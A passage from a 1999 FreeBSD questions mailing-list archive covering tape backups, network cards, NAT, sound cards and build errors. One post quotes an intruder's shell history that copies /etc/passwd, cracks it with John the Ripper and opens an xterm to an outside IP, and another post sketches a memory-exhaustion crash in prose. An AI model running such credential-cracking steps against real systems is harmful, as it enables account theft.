with the hex digits F0 0F) can lock the CPU up tight, requiring a
physical reset.  The workaround alters the system so that the
instruction is trapped before any damage is done.  In 2.2-STABLE and
later (i.e. 3.* and 4.*), the wording has been changed to:

 "Intel Pentium detected, installing workaround for F00F bug"

which, if nothing else, is at least grammatically correct :)

	-Dan Nelson
	dnelson@emsphone.com


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From owner-freebsd-questions  Tue Mar 23 22:14:27 1999
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Date: Wed, 24 Mar 1999 16:42:11 +1030
From: Ian Moore <imoore@hamcoll.schools.sa.edu.au>
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Greg Lehey wrote:
> 
> On Wednesday, 24 March 1999 at  9:29:33 +1030, Ian Moore wrote:
> > Hi,
> > I'm trying to dump to a Seagate CTD4004R-S 4/8Gig DAT drive on a server
> > running 2.2 STABLE & am having problems when the end of the tape is
> > reached. Using -u does not work.
> 
> Do you really mean -u?
<snip>

Sorry! no, what I meant to write was -a. 

> > I found this in the mailing list archive:
> >
> >> On Wed, 25 February 1998 at 16:01:21 -0600, Jason Hudgins wrote:
> >>>>> I have a Seagate DAT that I've been dumping backups too.  The DAT is
> >>>>> supposed to have a 4 gig capacity (uncompressed) when writing to a 120m
> >>>>> tape.  Can anyone PLEASE tell me the proper density/tape length to get
> >>>>> 4 gigs out of this thing? So far I've been using a density of 61000 and a
> >>>>> length of 6000, which will store about 2 gigs..and works fine, but I
> >>>>> REALLY need to get 4 gigs out of it...or at least 3.
> >>>>
> >>>> Try using the -a option and drop the length and density options. If your drive
> >>>> reports EOM properly it should work just fine.
> >>>
> >>> I've tried that.. it doesn't work.. it just hits the end of the tape and
> >>> the bugs out with write errors.. =(
> >>
> >> Unfortunately, the tape driver currently returns an I/O error
> >> indication when it hits end of tape.  They're working on it, but it's
> >> more complicated than it appears.
> >>
> >> Greg
> >
> > I'm wondering if this problem has been solved yet?!
> 
> Hmm.  It would have helped if you had included the date and the name
> of the sender in your quote, 

Here is the header:

Date:      Thu, 26 Feb 1998 09:43:28 +1030
From:      Greg Lehey <grog@lemis.com>
To:        Jason Hudgins <jason@www.dancooks.com>, Rob Nelson
<rob@mag-net.com>
Cc:        freebsd-questions@FreeBSD.ORG
Subject:   Re: using dump with a DAT
Message-ID:  <<a href="mid.cgi?db=irt&id=19980226094328.48933@freebi

> but it appears to have been from me on
> Thu, 26 Feb 1998 09:43:28 +1030.  Yes, I'm pretty sure the software
> has changed completely since then.  But ISTR that dump doesn't take
> kindly to end of tape.
> 
> > If not, can anyone tell me what values I should use for a 4G DAT tape
> > (120 metres) if I don't use compression -I've tried some of the
> > suggestions given on the mailing list archives, but keep getting
> > 'invalid 'd' (density) value' or 'invalid 'b' (no of blocks per write)
> > value' errors.
> > There seem to be numerous opinions on what values to use & wether to use
> > d & s or b & B parameters & I'm kinda confused.
> 
> If you're going to get involved in this kind of guesswork, then -b and
> -B are the way to go, but you'll waste a lot of space if you turn
> compression off, and I'd still go for -a.  What error messages are you
> getting?
> 
When the dump reaches the end of the tape, I get the following:
  DUMP: write error 2310680 blocks into volume 1
  DUMP: fopen on /dev/tty fails: Device not configured
  DUMP: The ENTIRE dump is aborted.


-- 
Ian Moore
Network Administrator
Hamilton Secondary College


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From owner-freebsd-questions  Tue Mar 23 22:50:46 1999
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From: Denis Melnikov <dmelnik@regentgroup.ru>
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: Compaq Netflex-3/P NIC
Date: Wed, 24 Mar 1999 09:49:42 +0300
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Hi!

How can I make use of Integrated Compaq Netflex-3/P NIC in ProLiant 850R ?
I want to install v3.1 via FTP. So I assign x.x.x.205 address to NIC, but it doesn't
answer to pings and doesn't recognise ftp.xx.freebsd.org (though DNS set 
correctly). I tried to set 'media utp' in 'Extra options to ifconfig' but unsuccessfully.

Denis Melnikov.


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From owner-freebsd-questions  Tue Mar 23 22:52:39 1999
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Date: Wed, 24 Mar 1999 17:52:00 +1100
From: Jim Mock <jim@corp.au.triax.com>
To: norman stoddard <allanon35@hotmail.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Where do i download FreeBSD?
Message-ID: <19990324175159.A52323@corp.au.triax.com>
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[followed up to -questions.. this doesn't really belong on -doc]

On Tue, 23 Mar 1999 at 22:43:31 -0800, norman stoddard wrote:
> Could you give me directions, a link, or even just send it to me?

Go to http://www.freebsd.org/ and read the info there.. concentrate
on the FAQ and Handbook. Instructions and nearly anything else you'll
need can be found there.

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Tue Mar 23 22:55:54 1999
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On 23-Mar-99 Dave Walton wrote:
> On 23 Mar 99, at 7:17, Jeroen Ruigrok/Asmodai wrote:
> 
>> On 22-Mar-99 Dave Walton wrote:
>> > Is there a driver available for the Winbond W83781D Hardware 
>> > Monitoring chip?
>> > See http://www.winbond.com/produ/w83781d.htm and 
>> > http://www.winbond.com/sheet/W83781D.pdf for details.
>> 
>> Anyways, this is one of those heat monitoring chips? 
> 
> Temperature, voltage, fan speed, etc.

Righto, like I thought =)
 
>> Dunno if they (the other developers) are/were doing work on that, but if
>> the specs for the chip are freely available I think that there may be
>> some programmers with driver knowledge out there which might want to
>> take this up...
> 
> I *think* all the necessary info is at those two URLs.  The only 
> thing missing is a qualified developer.  Mebbe I should send this to 
> freebsd-hackers?

Please do so as further discussion will most likely be pure technical
content.

>> (HINT: how about revising the DDWG guys?)
> 
> DDWG?

Device Driver Writer's Guide.

---
Jeroen Ruigrok van der Werven     <http://www.freebsdzine.org> 
asmodai(at)wxs.nl        The idea does not replace the work...
Network/Security Specialist      <http://home.wxs.nl/~asmodai>
*BSD: Powered by Knowledge & Know-how <http://www.freebsd.org>


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From owner-freebsd-questions  Tue Mar 23 23: 6:16 1999
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From: "Pavel May" <pavel@ecs.csun.edu>
To: "Questions" <freebsd-questions@freebsd.org>
Subject: RE: FreeBSD interface with other operating systems.
Date: Tue, 23 Mar 1999 23:04:59 -0800
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Both MS NT and Linux use TCP/IP as an underlying protocol (or one of them
anyhow) for communication. On the MS side of the house, NetBIOS runs on top
of TCP/IP, Linux will use TCP/IP natively for NFS/DFS mounts.

In short, FreeBSD is quite happy communicating with
WinNT/Win95/Linux/OtherIncarnationsOfUnix
    -----Original Message-----
    From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of JOHN M KIRBY
    Sent: Tuesday, March 23, 1999 08:01
    To: freebsd-questions@FreeBSD.ORG
    Subject: FreeBSD interface with other operating systems.


    Greetings,

    My name is John and I am a student at the University of Phoenix.  I am
somewhat a novice with operating systems and I am conducting research on how
FreeBSD interfaces with other operating systems, especially Windows NT and
Redhat Linux.  I am interested in any information as to how these systems
can communicate with each other and what protocols and etc. are necessary
for this communication.  I appreciate any input on this subject.

    John



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From owner-freebsd-questions  Tue Mar 23 23: 7:14 1999
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Hello!
	I am installing Gimp 1.1.2 from the ports, and the lib depends are
all passing, but things that depend on gtk recognize its presence, but
when they try to test gtk, it says that gtk isn't working properly.


On Mon, 22 Mar 1999, Brett Taylor wrote:

> Hi,
> 
> On Mon, 22 Mar 1999, Patrick Seal wrote:
> 
> > Yes, but wasn't he installing a NON-PORT?
> 
> Gimp-1.1.2. is in the ports and I thought he was installing the port.  If
> he's not, all he has to do is do as the port does and use the correct
> configure arguments (since he has used the ports for gtk and glib
> apparently), ie:
> 
> CONFIGURE_ENV=  CPPFLAGS="-I${LOCALBASE}/include" \
>                 GTK_CONFIG="${X11BASE}/bin/gtk11d-config" \
>                 LIBS="-L${LOCALBASE}/lib" \
>                 INSTALL_SCRIPT='$${INSTALL} -m 755'
> 
> 
> Brett
> ***********************************************************
> Brett Taylor            brett@peloton.physics.montana.edu *
>                         brett@daemonnews.org              *
> 							  *
> 			http://www.daemonnews.org/        *
> ***********************************************************
> 
> 



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From owner-freebsd-questions  Tue Mar 23 23:11:21 1999
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Date: Wed, 24 Mar 1999 19:11:52 +1200
From: a.bob@xtra.co.nz
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Hi 
I'd appreciate any pointers on the following saga.  I figure that 
I've missed something obvious, but am cluefree as to what.

Background
I am trying to set up NATD between two private ip networks, one
 of which is then connected to an modem ADSL, thus

     Modem        Gateway 
     ____         ____
    |    |-------|    |
----|____|       |____|
                   |
           ______  |     ______
          |      |------|      |
          |______|      |______|
            PC 1 	 PC 2 
I am running a fresh installed 3.1 RELEASE fresh off the CD on a
P90 with a PCI ethernet card on ed1 and an isa card on ed0.  natd 
dhclient and the kernel is rebuilt with option IPFIRWALL and
DIVERT
and pseudodevice bpf with 4 thingies
all sotware is straigh added off CD during 3.1 novice install

Situation
The gateway connects and can see the world fine and can be seen
via NAPT on 
the modem (Pinhole network and port translation)
I am running natd -dynamic -n ed1

When I run an ipfw divert to 8668 on the gateway

# ipfw add 100 divert 8668 ip from any to any via ed1 

I am unable to see anything outside the machine, I get a 
sendto permission denied etc ipfw logs hits on the divert rule
but 
/var/log/alias.log contains nothing ( on the other hand do I have
to 
explicitly enable logging to get any log having just had another
peek
at the man page)

ed1 is connected to an ADSL modem/router on 192.168.1.254 (the
isp set this up) 
The modem is also a DHCP server and dhclient picks up the IP
address perfectly. 

Promiscuous?
On boot I get ed0 set into promiscuous mode but it isn't when if
run ifconfig -a 
My assumption is that something turns it on briefly then off
again. But what it
 is and why I have no clue to as yet - any suggetsions?

tcpdump sets ed0 to promiscuous tcpdump -i ed1 does likewise for
ed1, running
both in separate terminals does both. So both card can do
promiscuous.

I have a sneaky feeling that it may have something to do with ed1
not being
in promiscuous mode but I can't figure it out. Am I barking up
the wrong tree
or just barking?

Or do I need to set a more explict config on natd?

ps says

USER     PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME
COMMAND
root     119 25.0 13.9  4580 4204  ??  Ss   Tue08PM  24:00.34
named
root       1  0.0  0.6   496  168  ??  Is   Tue08PM   0:00.06
/sbin/init --
root       2  0.0  0.0     0    0  ??  DL   Tue08PM   0:00.94 
(pagedaemon)
root       3  0.0  0.0     0    0  ??  DL   Tue08PM   0:00.00 
(vmdaemon)
root       4  0.0  0.0     0    0  ??  DL   Tue08PM   0:14.55 
(syncer)
root     114  0.0  1.7   820  504  ??  Ss   Tue08PM   0:01.80
syslogd
daemon   125  0.0  1.1   792  320  ??  Is   Tue08PM   0:00.00
portmap
root     162  0.0  1.6   860  488  ??  Is   Tue08PM   0:00.18
inetd
root     165  0.0  1.7   980  508  ??  Is   Tue08PM   0:02.20
cron
root    1571  0.0  1.5   892  444  ??  Is   10:06AM   0:00.01
natd -dynamic -n ed1

root    2528  0.0  2.2   948  656  ??  Is    1:10AM   0:00.10
/usr/local/sbin/dhclient ed1
root       0  0.0  0.0     0    0  ??  DLs  Tue08PM   0:00.14 
(swapper)

IPFW rules when the diver is missing

00200 deny ip from any to 127.0.0.0/8
65000 allow ip from any to any
65535 deny ip from any to any

ifconfig gives me

ed1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 192.168.1.1 netmask 0xffffff00 broadcast
192.168.1.255
        ether 00:00:b4:5c:0b:e2
ed0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 192.168.2.1 netmask 0xffffff00 broadcast
192.168.2.255
        ether 08:00:17:04:ef:1e

on the modem I get 

show ip interfaces

IP Interfaces:
ENET (lan): ( up broadcast default rip-send v1 rip-receive v1 )
  inet 192.168.1.254 netmask ffffff00 broadcast 192.168.1.255
  physical address 00.40.43.02.04.66 mtu 1500

PPP (vcc1): ( up point-to-point address-mapping )
  inet x.x.x.x netmask 0 peer address y.y.y.y
  physical address 00.00.00.00.00.00 mtu 1500

from the gateway DHCP client /var/db/dhclient.leases I get 

lease {
  interface "ed1";
  fixed-address 192.168.1.1;
  server-name "(null)";
  option subnet-mask 255.255.255.0;
  option routers 192.168.1.254;
  option domain-name-servers 192.168.1.254;
  option domain-name "";
  option dhcp-lease-time 3600;
  option dhcp-message-type 5;
  option dhcp-server-identifier 192.168.1.254;
  option dhcp-renewal-time 1800;
  option dhcp-rebinding-time 3150;
  renew 3 1999/3/24 19:10:37;
  rebind 3 1999/3/24 19:33:07;
  expire 3 1999/3/24 19:40:37;
}

TIA 
regards

kit


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From owner-freebsd-questions  Tue Mar 23 23:26:34 1999
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From owner-freebsd-questions  Tue Mar 23 23:42: 3 1999
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Date: Wed, 24 Mar 1999 18:11:19 +1030
From: Greg Lehey <grog@lemis.com>
To: Sean-Paul Rees <sean@flame.org>, questions@FreeBSD.ORG
Subject: Re: 3.1-S and /lkm
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On Tuesday, 23 March 1999 at 21:25:54 -0800, Sean-Paul Rees wrote:
> I noticed that /lkm hasn't been touched since the day I installed FreeBSD
> 3.0-R. Since then, I've upgraded to 3.1-S, and was wondering if I still
> needed /lkm, over /modules.

I believe there are a couple of commercial lkms out there which are
supplied in binary form only.  If you have one of them, you'll
obviously need it.  Otherwise, klds are the way to go.

Greg
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From owner-freebsd-questions  Tue Mar 23 23:45:40 1999
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Date: Wed, 24 Mar 1999 00:54:57 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Greg Lehey <grog@lemis.com>
Cc: "FreeBSD Mailing List (E-mail)" <questions@freebsd.org>
Subject: Re: Am I the only one getting doubles
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References: <6C37EE640B78D2118D2F00A0C90FCB441A5FAA@site2s1> <19990323101518.K442@lemis.com> <19990323163017.A2574@scientia.demon.co.uk> <19990324075920.C425@lemis.com>
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Greg Lehey wrote:

>> Can't jmb remove the offending address from the list until it gets
>> fixed, or something?
> 
> That's just what he has done, and why I don't expect any more of this.

Well, I haven't got a copy of your message via them yet, though the
others were delayed a bit, so with any luck it is fixed.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

send a blank message to ben+pgp@scientia.demon.co.uk for PGP key


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From owner-freebsd-questions  Wed Mar 24  0:11:37 1999
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	Wed, 24 Mar 1999 18:41:00 +1030 (CST)
Date: Wed, 24 Mar 1999 18:41:00 +1030 (CST)
From: Stavros Patiniotis <stavros@esc.net.au>
To: Anton Berezin <tobez@plab.ku.dk>
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Installing 3.1 #2
In-Reply-To: <86oglpjzmp.fsf@lion.plab.ku.dk>
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On 19 Mar 1999, Anton Berezin wrote:

> Stavros Patiniotis <stavros@esc.net.au> writes:


Thanks for everyone who offered support.  After reading my SCSI
'quickstart" quide, it suggested a LOW level format, which I completed,
and now it all works fine.  Thanks once again

 
> > I can't actually get to LINT, since my computer won't boot :(
> > 
> > Any other suggestions?
> 
> Is the partition on which FreeBSD resides marked as ``active'' in MBR?
> ``Missing operating system'' may indicate that ``active'' flag is set
> to an empty/unused partition or is not set at all.
> 
> You can try booting from the installation diskettes, go to the Fixit
> option, choose Floppy option, switch to the Fixit shell prompt
> (Alt-F4) and type
> 
> 	fdisk da0
> 
> (or whatever is the disk you installed FreeBSD on) to see the layout
> of partitions.  Flag 80 (active) is what you are looking for.
> 
> If I guessed your problem correctly, you can fix it by using
> 
> 	fdisk -a da0
> 
> and answering correctly to the questions the program will ask.
> 
> Hope this helps,
> 
> -- 
> Anton Berezin <tobez@plab.ku.dk>
> The Protein Laboratory, University of Copenhagen
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> 
> 
> 


Regards,


Stavros Patiniotis
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From owner-freebsd-questions  Wed Mar 24  0:25: 8 1999
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	for <questions@freebsd.org>; Wed, 24 Mar 1999 03:24:41 -0500 (EST)
Date: Wed, 24 Mar 1999 03:24:41 -0500 (EST)
From: Lanny Baron <lnb@freedom.cybertouch.org>
To: questions@freebsd.org
Subject: ssh install from /usr/ports/security/ssh (3.0)
Message-ID: <Pine.BSF.4.05.9903240321330.19397-100000@freedom.cybertouch.org>
WebSite: http://www.cybertouch.org
Prov/Country: Ontario
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Hello,
Can I get some help with what I would have thought would be normal install from
the ports collection. I tried to install ssh via /usr/ports/security/ssh and get
the following and of course, unable to ssh anywhere.

-DSSH_PROGRAM=\"/usr/local/bin/ssh1\" -DETCDIR=\"/usr/local/etc\"
-DPIDDIR=\"/var/run\" -DSSH_BINDIR=\"/usr/local/bin\"
-DTIS_MAP_FILE=\"/usr/local/etc/sshd_tis.map\" -O -pipe -I/usr/local/include
-I/usr/X11R6/include rsaglue.c
rsaglue.c:74: source/global.h: No such file or directory
rsaglue.c:75: source/rsaref.h: No such file or directory
rsaglue.c:93: parse error before `*'
rsaglue.c: In function `rsaref_public_key':
rsaglue.c:95: `rsa' undeclared (first use this function)
rsaglue.c:95: (Each undeclared identifier is reported only once
rsaglue.c:95: for each function it appears in.)
rsaglue.c:95: `key' undeclared (first use this function)
rsaglue.c:96: `MAX_RSA_MODULUS_LEN' undeclared (first use this function)
rsaglue.c: At top level:
rsaglue.c:104: parse error before `*'
rsaglue.c: In function `rsaref_private_key':
rsaglue.c:107: `rsa' undeclared (first use this function)
rsaglue.c:107: `key' undeclared (first use this function)
rsaglue.c:108: `MAX_RSA_MODULUS_LEN' undeclared (first use this function)
rsaglue.c:111: `MAX_RSA_PRIME_LEN' undeclared (first use this function)
rsaglue.c: In function `rsa_public_encrypt':
rsaglue.c:129: `MAX_RSA_MODULUS_LEN' undeclared (first use this function)
rsaglue.c:133: `R_RSA_PUBLIC_KEY' undeclared (first use this function)
rsaglue.c:133: parse error before `public_key'
rsaglue.c:134: `R_RANDOM_STRUCT' undeclared (first use this function)
rsaglue.c:136: `MAX_RSA_MODULUS_BITS' undeclared (first use this function)
rsaglue.c:144: `public_key' undeclared (first use this function)
rsaglue.c:146: `rands' undeclared (first use this function)
rsaglue.c: In function `rsa_private_decrypt':
rsaglue.c:164: `MAX_RSA_MODULUS_LEN' undeclared (first use this function)
rsaglue.c:167: `R_RSA_PRIVATE_KEY' undeclared (first use this function)
rsaglue.c:167: parse error before `private_key'
rsaglue.c:169: `MAX_RSA_MODULUS_BITS' undeclared (first use this function)
rsaglue.c:177: `private_key' undeclared (first use this function)
*** Error code 1


Thanks for any help in advance,

Lanny Baron



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From owner-freebsd-questions  Wed Mar 24  0:36:33 1999
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Message-ID: <91DA20EC3C3DD211833400A0245A4EA907A99A@erlangen01.axis.de>
From: Alexander Maret <maret@axis.de>
To: 'Sean O'Connell' <sean@stat.Duke.EDU>
Cc: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>,
	"'freebsd-mobile@freebsd.org'" <freebsd-mobile@freebsd.org>
Subject: RE: card0 Device not configured
Date: Wed, 24 Mar 1999 09:36:10 +0100
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Hello Sean,
> 
> So it sees the chipset, but it doesn't look like the support is in
> the kernel.  Here are the relevant bits from a successful probe:
> 
> 
> I have the following entries in my kernel (when using built-in
> pcic support:
> 
> controller	card0
> device		pcic0	at card?
> device		pcic1	at card?
> 
> For the kld pcic, all you need is 
> 
> controller	card0
> 

I tried those both possibilities, but it makes no difference. I always
get the same dmesg output.

> That having been said, do you still have windoze on this?  What IRQ
> does it think it should be running on?  

I've installed Windows now and the card works fine. But even Windows
doesn't show any IRQs it just shows I/O-Memory space:

Cirrus Logic PCIC compatible PCMCIA-Bridge: 
 I/O-space: FCFC - FCFF
 no IRQs listed

PCMCIA-Card Service:
 memory adress: 02800000 - 02800FFF
 no IRQs listed

PCMCIA-Ethernet Adapter:
I/O-space: 0320-033F
IRQ: 10


> Is anything running on IRQ 3?

Yes, my COM2 is running un IRQ 3

> What kind of laptop is this? Is there one like it at the FreeBSD lap-
> top compatibility site 

It's a Yakumo Mediapack P133

> (http://www.cse.ucsc.edu/~dkulp/fbsd/laptop.html)
> If you do have the card0 controller installed, what are the available 
> IRQ's on your system?

in my pccard.conf i enabled the following things:

io 0x240-0x360
irq 3 10 11 13 15
memory 0xd4000 96K


Bye,
  Alex




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From owner-freebsd-questions  Wed Mar 24  0:59:31 1999
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Date: Wed, 24 Mar 1999 00:58:50 -0800
To: Keith Woodman <keith@lightningweb.com>,
	freebsd-questions@FreeBSD.ORG
From: charon@freethought.org
Subject: Re: 3.0 - 3.1 make stop
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At 05:43 PM 3/23/99 -0800, Keith Woodman wrote:
<snip>
>7) cd /usr/src/sys/i386/conf
>8) /usr/sbin/config <kernel name>
>9) cd ../../compile/<kernel name>
>10) make 
>
>10 minutes later I got that error. Any advise is greatly appreciated.

You did do a 'make depend' before doing 'make,' right?  Just a thought...




__________________________________________
         Charon@freethought.org
 http://members.home.net/tuathadedanann/

   "Unthinking respect for authority 
    is the greatest enemy of truth."
	     -Albert Einstein
__________________________________________


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From owner-freebsd-questions  Wed Mar 24  1: 6:45 1999
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Date: Wed, 24 Mar 1999 14:38:50 +0530 (IST)
From: Prasad Chemburkar <prasad@usa.ltindia.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Sound blaster configuration
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hi!
everyone

i am trying to install creative sound blaster card 16 on my freebsd
server. i have installed following lines in my new kernel as follows


# Controls all sound devices
# snd: Voxware sound support code
controller      snd0
# sb: SoundBlaster PCM - SoundBlaster, SB Pro, SB16, ProAudioSpectrum
device sb0      at isa? port 0x220 irq 5 drq 1 vector sbintr
# sbxvi: SoundBlaster 16
device sbxvi0   at isa? drq 5 conflicts
# sbmidi: SoundBlaster 16 MIDI interface
device sbmidi0  at isa? port 0x330


and recompiled ther kernel, everything went smooth then i executed
following command

	# /dev/MAKEDEV snd

which created snd0 file in /dev directory, but after rebooting system the
sound doesnt get detected. while booting it said

	sb0 not found at 0x220
	sbmidi0 not found at 0x330
	sbvxi0 not found 

i checked the card with same i/o and irq on win95 m/c and it worked. can
anyone please guide me on this topic


Thanks in advance.

prasad


	



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From owner-freebsd-questions  Wed Mar 24  1:15:52 1999
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Date: Wed, 24 Mar 1999 01:17:13 -0800
From: Shawn Ramsey <shawn@cpl.net>
To: questions@freebsd.org
Subject: Radius proxy
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Can anyone tell me what is neccessary on the "remote" radius server to
authenticate from a proxy radius server? Trying to get authentication
working from www.megapop.net. The users login like "username@emnet2000",
which forwards that request to our server. What is needed on our radius
server?

Thanks.


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From owner-freebsd-questions  Wed Mar 24  1:32:39 1999
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Date: Wed, 24 Mar 1999 10:30:53 +0100 (CET)
From: Konrad Heuer <kheuer@gwdu60.gwdg.de>
To: Greg Black <gjb@comkey.com.au>
Cc: "Scott I. Remick" <scott@computeralt.com>,
	FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Out of Swap Space hangs system 
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On Wed, 24 Mar 1999, Greg Black wrote:

> > > Is it normal for running out of swap space to hang the system?
> >=20
> > Unfortunately, yes.
>=20
> Right, so far.
>=20
> > It should not be, especially for a server OS.
>=20
> By all means provide an algorithm to solve it, if it concerns
> you.  I think you'll find it's non-trivial.

You're right, no doubt; it's not trivial. And the problem will not prevent
me from using and recommending FreeBSD.

> It's not a serious problem -- a properly setup Unix system will never
> crash from lack of swap.  I've been running Unix machines for the best
> part of 20 years and never seen a panic from lack of swap.  Some of
> those machines had 0.5 MB of RAM and a single 50 MB disk, supported
> several users in a commercial environment and only ever fell over when
> somebody yanked the power cord.

None of my FreeBSD systems crashed because of lack of swap in normal
operation mode. But in principle it's easy to crash them as an
unprivileged user. Just write a piece of C code which allocates m MB of
memory, forks p times and writes to allocated memory in each process. Will
m times p fit into the total virtual memory? Maybe, if you set rigorous
per-process limits. But if you do, you might also prevent users from doing
reasonable tasks. Or have I overlooked something?

Regards

//
// Konrad Heuer                                  ____            ___  _____=
__=20
// Gesellschaft f=FCr wissenschaftliche           / __/______ ___ / _ )/ __=
/ _ \
//    Datenverarbeitung mbH G=D6ttingen          / _// __/ -_) -_) _  |\ \/=
 // /
// Am Fa=DFberg, D-37077 G=D6ttingen              /_/ /_/  \__/\__/____/___=
/____/=20
// Deutschland (Germany)                      ----- The Power to Serve ----=
-
//                                                http://www.freebsd.org
// kheuer@gwdu60.gwdg.de
//



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From owner-freebsd-questions  Wed Mar 24  1:40:12 1999
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Date: Wed, 24 Mar 1999 10:37:29 +0100 (CET)
From: Konrad Heuer <kheuer@gwdu60.gwdg.de>
To: Prasad Chemburkar <prasad@usa.ltindia.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Sound blaster configuration
In-Reply-To: <Pine.LNX.3.96.990324143025.21575C-100000@partha.ltindia.com>
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On Wed, 24 Mar 1999, Prasad Chemburkar wrote:

> i am trying to install creative sound blaster card 16 on my freebsd
> server. i have installed following lines in my new kernel as follows
>=20
>=20
> # Controls all sound devices
> # snd: Voxware sound support code
> controller      snd0
> # sb: SoundBlaster PCM - SoundBlaster, SB Pro, SB16, ProAudioSpectrum
> device sb0      at isa? port 0x220 irq 5 drq 1 vector sbintr
> # sbxvi: SoundBlaster 16
> device sbxvi0   at isa? drq 5 conflicts
> # sbmidi: SoundBlaster 16 MIDI interface
> device sbmidi0  at isa? port 0x330

I guess your card is a PnP card. You should add

controller pnp0 # plug & play card support

to you kernel config file.

> and recompiled ther kernel, everything went smooth then i executed
> following command
>=20
> =09# /dev/MAKEDEV snd

Never tried that but I'd enter:

cd /dev
sh MAKEDEV snd0

to make sure that the device entries will be created in /dev and that
digit zero will be included.

Regards

//
// Konrad Heuer                                  ____            ___  _____=
__=20
// Gesellschaft f=FCr wissenschaftliche           / __/______ ___ / _ )/ __=
/ _ \
//    Datenverarbeitung mbH G=D6ttingen          / _// __/ -_) -_) _  |\ \/=
 // /
// Am Fa=DFberg, D-37077 G=D6ttingen              /_/ /_/  \__/\__/____/___=
/____/=20
// Deutschland (Germany)                      ----- The Power to Serve ----=
-
//                                                http://www.freebsd.org
// kheuer@gwdu60.gwdg.de
//



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From owner-freebsd-questions  Wed Mar 24  1:48:28 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 10:46:52 +0100 (CET)
From: Ladislav Kostal <kostal@pefstud.uniag.sk>
To: freebsd-questions@freebsd.org
Subject: mpeg audio&video player
Message-ID: <Pine.BSF.4.05.9903241045170.62141-100000@pefstud.uniag.sk>
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Hello,

What %subj% would you recommend to me ?
mtv is shareware, mpeg_play is good, but have no sound ... :(

				Thanks
					Ladislav Kostal



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From owner-freebsd-questions  Wed Mar 24  1:50:21 1999
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Date: Wed, 24 Mar 1999 10:10:32 +0100
From: Luc Segers <Luc.Segers@vnet.atea.be>
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Hello,

        I have some questions: I would like to be a new computer with
all the newest hardware: Soundblaster Savage 4 videocard, Soundblaster
live soundcard, Pentium III (I will wait for the new very fast
motherboards). My question is: will freebsd work with those new things,
which one is faster to support new hardware, Linux or FreeBSD and whats
the time difference. Will you ever support these hardware.

At first sight FreeBSD seems to be beter structured, and I really like
some structure. I dont really like the chaos of Linux.

Another thing I think is important, is support, and I am testing that
right now ;-).

You can Buy 4CD-Roms with freeBSD 3.1, but what's on those 4CD-roms ? Is
there KDE 1.1 ? Everything ?

Thank you very much,

Luc Segers

P.S.: I really like the Little Red Devil



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From owner-freebsd-questions  Wed Mar 24  2: 0:50 1999
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Date: Wed, 24 Mar 1999 15:59:25 +0600
From: oleg dashevskii <olegd@chat.ru>
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Subject: troubles with installation
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Hello all

i am experiencing troubles with 3.1-RELEASE installation. installation
process hangs when trying to probe my hitachi cdr-8335 cdrom drive
(ide atapi). it is configured as a master on the second controller and has no
slave. so does hard drive on the first controller.

sure, i disable all unexisting hardware. when i disable wdc1, it
doesn't hang, but it naturally doesn't see the cd-drive. :-)

what can i do? my ide cables both are one-device-only, so i cannot
plug the cd-drive as a slave into the first controller. moreover, if i
could i'd then receive a negative gain in speed, and that's not good.


Best regards,
 Oleg                          mailto:olegd@chat.ru




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From owner-freebsd-questions  Wed Mar 24  2:21:44 1999
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From: pirat@center.oaep.go.th
To: questions@FreeBSD.ORG
Subject: /etc/passwd file
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hi,

i notice recently that some one is using my /etc/passwd file, please see the
following history.


===begin===
ls -l
cd /etc
ls *host*
ls -l | less
ls -l | more
w
l s-l
cd
ls -l
rm M-cjohn-1.5.tar.gz
ls -l
rm *.gz
ls
cd john-1.5
ls -l
cd run
l s-l
ls -l
cp /etc/passwd .
ls -l
./john -single passwd
ls -l
cat password.lst
^X
ls -l
cd ..
ls -l
cd doc
pico .
w
xterm -display 202.44.64.146:0.0 &
set
env
ping 202.44.64.146
ping 202.44.64.145
pwd
l s-l
ls -l
cd ../run
l s-l
ls -l
mv passwd passwd.1
john -single passwd
./john -single passwd
pico
pwd
ls -l
./john -si passwd.1
./john -show passwd.1
cat passwd.1
ls -l
cd /etc
ls -l sha*
ls
ls -l passwd*
ls -l sh*
cd
pico
pwd
l s-l
ls -l
rm -rf john-1.5
l s-l
ls -l
ping center
ping 202.44.64.144
arp -a
ping 202.44.64.144
cd /etc
ls -l hos*
cat host.conf
cat hosts
ls -l
pilot
exit
===end of history===


shall he finally know the user's password from the sequence of his action shown
above ?

apologize me for asking this kind of question here.  but many thanks in advance.


with regards,
psr
----------------------------------
E-Mail: pirat@center.oaep.go.th
Date: 24-Mar-99
Time: 17:06:20

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From owner-freebsd-questions  Wed Mar 24  2:44:25 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 17:53:32 +0700 (JAVT)
From: Benkbenk <hacky@ti.itb.ac.id>
To: freebsd-questions@freebsd.org
Subject: Re: freebsd 3.1
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On Tue, 23 Mar 1999, Spam Me Here wrote:

> This is a problem, but if you look in errata, you can see that it
> is already fixed.

it seems it doesn't work.....
Anybody has succeded???




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From owner-freebsd-questions  Wed Mar 24  3: 1:47 1999
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Date: Wed, 24 Mar 1999 11:56:26 +0100 (CET)
From: Ladislav Kostal <kostal@pefstud.uniag.sk>
To: pirat@center.oaep.go.th
Cc: questions@FreeBSD.ORG
